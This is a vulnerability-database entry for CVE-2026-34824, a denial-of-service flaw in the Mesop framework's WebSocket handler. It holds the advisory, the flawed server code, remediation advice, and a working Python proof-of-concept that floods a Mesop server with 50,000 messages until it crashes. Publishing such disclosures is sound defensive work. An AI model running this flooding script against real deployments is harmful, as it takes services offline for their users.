Python
CVE-2026-34824
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.
Details
The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.
There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.
*Vulnerable code snippet in mesop/server/server.py:*
while True:
message = ws.receive()
if not message:
continue
# ... message parsing logic ...
# VULNERABILITY: Spawning a new thread for every single message without limits
thread = threading.Thread(
target=copy_current_request_context(ws_generate_data),
args=(ws, ui_request),
daemon=True,
)
thread.start()PoC
To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.
Prerequisites:
Python environment with the websocket-client library installed (pip install websocket-client).
A target Mesop application running locally (e.g., http://localhost:8080).
Steps to reproduce:
Start the target Mesop application.
Save the following script as exploit_dos.py.
Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.
import websocket
import base64
# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"
# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode`
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')
def flood_server():
ws = websocket.WebSocket()
try:
ws.connect(TARGET_WS_URL)
print("[+] Connection established. Initiating thread exhaustion attack...")
# Rapidly send 50,000 messages to force the server to spawn 50,000 threads
for i in range(50000):
ws.send(EMPTY_UI_REQUEST_B64)
print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
ws.close()
except Exception as e:
print(f"[-] Connection closed or server crashed: {e}")
if __name__ == "__main__":
flood_server()Impact
Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.
Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.
Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.
Mitigation (Recommended Fixes):
Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads
AnalysisAI
Thread exhaustion in Mesop WebSocket handler (pkg:pip/mesop) allows unauthenticated remote attackers to crash applications via message flooding. The framework spawns unbounded OS threads for each received WebSocket message without rate limiting or pooling, enabling complete denial of service with minimal bandwidth. CVSS 7.5 (High). Publicly available exploit code exists. EPSS data not provided, but the low attack complexity (AC:L) and zero authentication requirement (PR:N) combined with working proof-of-concept significantly elevate real-world exploitation risk. Vendor-released patch available in version 1.2.5 (commit 760a207).
Technical ContextAI
Mesop is a Python-based web framework for building UI applications. The vulnerability resides in mesop/server/server.py within the handle_websocket function, which processes incoming WebSocket messages on the /__ui__ endpoint. For every parsed ui_request message, the server spawns a new threading.Thread with daemon=True to handle the request via ws_generate_data. This design lacks fundamental concurrency controls: no thread pool bounds (e.g., ThreadPoolExecutor with max_workers), no message queue with backpressure, and no per-connection rate limiting. The root cause aligns with CWE-400: Uncontrolled Resource Consumption, specifically thread exhaustion leading to Out of Memory conditions. Python's threading.Thread creates native OS threads, so an attacker sending thousands of rapid-fire messages directly translates to thousands of concurrent OS threads, overwhelming system resources regardless of message content complexity.
RemediationAI
Upgrade immediately to Mesop version 1.2.5 or later, released by the vendor to address this vulnerability. The patch commit (760a2079b5c609038c826d24dfbcf9b0be98d987) implements bounded concurrency controls to prevent thread exhaustion. Download the patched version from PyPI via pip install --upgrade mesop or from the GitHub release at https://github.com/mesop-dev/mesop/releases/tag/v1.2.5. If immediate upgrade is not feasible, implement network-level rate limiting on the WebSocket endpoint (/__ui__) using reverse proxy rules (e.g., Nginx limit_req, AWS WAF rate-based rules) to restrict message frequency per source IP. However, network controls are a temporary mitigation only-the architectural fix in version 1.2.5 is essential for long-term security. Verify patch application by reviewing server logs for abnormal thread counts during load testing. Consult the full vendor advisory at https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679 for additional deployment guidance.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-3jr7-6hqp-x679